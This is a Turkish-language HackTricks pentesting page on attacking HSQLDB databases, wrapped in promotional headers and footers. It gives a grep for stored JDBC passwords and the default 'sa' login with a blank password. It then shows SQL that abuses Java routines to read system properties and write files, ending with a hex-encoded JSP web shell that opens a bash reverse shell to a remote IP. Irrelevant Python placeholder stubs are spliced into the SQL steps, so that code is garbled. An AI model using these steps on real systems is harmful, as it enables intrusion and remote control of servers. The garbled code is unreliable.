5.8 KiB
AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek isterseniz veya HackTricks'i PDF olarak indirmek isterseniz ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Temel Bilgiler
HSQLDB (HyperSQL Veritabanı), Java'da yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Hafızada ve disk tabanlı tabloları destekleyen küçük, hızlı, çoklu iş parçacıklı ve işlem tabanlı bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler.
Varsayılan port: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Bilgi
Varsayılan Ayarlar
Unutmayın ki bu hizmet varsayılan olarak bellekte çalışıyor veya localhost'a bağlı. Eğer bulduysanız, muhtemelen başka bir hizmeti ele geçirdiniz ve ayrıcalıkları yükseltmek istiyorsunuz.
Varsayılan kimlik bilgileri genellikle boş bir şifre ile sa
olarak ayarlanmıştır.
Başka bir hizmeti ele geçirdiyseniz, olası kimlik bilgilerini aramak için aşağıdaki komutu kullanabilirsiniz:
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Notu veritabanı adını dikkatlice kaydedin - bağlanmak için ihtiyacınız olacak.
Bilgi Toplama
HSQLDB'yi indirerek ve hsqldb/lib/hsqldb.jar
dosyasını çıkararak DB örneğine bağlanın. GUI uygulamasını eww
java -jar hsqldb.jar
kullanarak çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın.
Bağlantı URL'si, uzak bir sistem için aşağıdaki gibi görünecektir: jdbc:hsqldb:hsql://ip/DBNAME
.
Hileler
Java Dil Rutinleri
Java Dil Rutinleri kullanarak HSQLDB'den bir Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın sınıf yolu üzerinde olması gerektiğini unutmayın.
JRT'ler fonksiyonlar
veya prosedürler
olabilir. Java yöntemi bir veya daha fazla SQL uyumlu ilkel değişken döndürüyorsa, fonksiyonlar SQL ifadeleri aracılığıyla çağrılabilir. VALUES
ifadesi kullanılarak çağrılırlar.
Eğer çağırmak istediğimiz Java yöntemi void döndürüyorsa, CALL
ifadesiyle çağrılması gereken bir prosedür kullanmamız gerekmektedir.
Java Sistem Özelliklerini Okuma
Fonksiyon oluştur:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
def execute_function():
# Code to execute the function goes here
pass
Fonksiyonu çalıştır:
def execute_function():
# Fonksiyonu çalıştırmak için gerekli kod buraya yazılır
pass
VALUES(getsystemproperty('user.name'))
Aşağıda sistem özelliklerinin bir listesini bulabilirsiniz.
Dosyaya İçerik Yazma
Özel bir prosedür aracılığıyla disk üzerine onaltılık kodlanmış öğeleri yazmak için JDK'da bulunan com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java aracını (uygulamanın sınıf yoluna otomatik olarak yüklenir) kullanabilirsiniz. Maksimum boyutun 1024 bayt olduğunu unutmayın.
Prosedür oluşturma:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Yürütme prosedürü:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek isterseniz veya HackTricks'i PDF olarak indirmek isterseniz ABONELİK PLANLARINA göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.